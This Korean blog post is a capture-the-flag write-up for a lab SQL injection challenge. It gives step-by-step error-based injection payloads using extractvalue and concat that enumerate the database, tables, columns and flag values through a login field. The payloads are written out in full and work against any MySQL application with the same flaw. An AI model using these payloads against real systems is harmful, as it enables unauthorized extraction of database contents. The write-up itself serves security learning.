상세 컨텐츠

본문 제목

Segfault CTF - (7주 차) SQL Injection 5

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 5. 18:41

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag

※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection 5

 

1. 목표 : Flag를 찾으세요!

 

2. 실행

→ SQL Injection 근거로 찾아가봅니다.

 ID에 1' or extractvalue('1', concat(':', database() )) # 와 PW에는 아무 값이나 입력하니 DB명이 도출되었다.

 

 Error Based SQLi 공격포맷 정립

 ID 입력란에 1' or extractvalue('1', concat(':', (SQL구문) )) #

 

 1단계 DB이름 

 1' or extractvalue('1', concat(':', database() )) #

현재 DB이름 sqli_2_2

 

 2단계 Table이름 

→ 1' or extractvalue('1', concat(':', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2') )) # 여러줄이 나와서 GROUP_CONCAT 사용

→ 1' or extractvalue('1', concat(':', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='sqli_2_2') )) # // 결과 값 ':flagTable_this,member'

 

 3단계 flagTable_this의 COLUMN 이름 

→ 1' or extractvalue('1', concat(':', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='sqli_2_2' and table_name='flagTable_this'))) # // 결과 ':idx,flag'

 

 4단계 값 알아내기

1' or extractvalue('1', concat(':', (SELECT group_concat(flag) FROM flagTable_this))) # // 결과 ':hello,What are you looking for?' 

쉽사리 알려주지 않을 듯 하다.

LIMIT로 어디까지 있는지 먼저 살펴본다. LIMT 16,1 은 LIMIT 1 OFFSET 16과 같다.

1' or extractvalue('1', concat(':', (SELECT flag FROM flagTable_this LIMIT 16,1))) # // 결과 16까지는 존재하고, 17은 존재하지 않았다.

거꾸로 시작했다.

1' or extractvalue('1', concat(':', (SELECT flag FROM flagTable_this limit 13,1))) # // 여기 플래그가 있었다.

→ 플래그 획득

관련글 더보기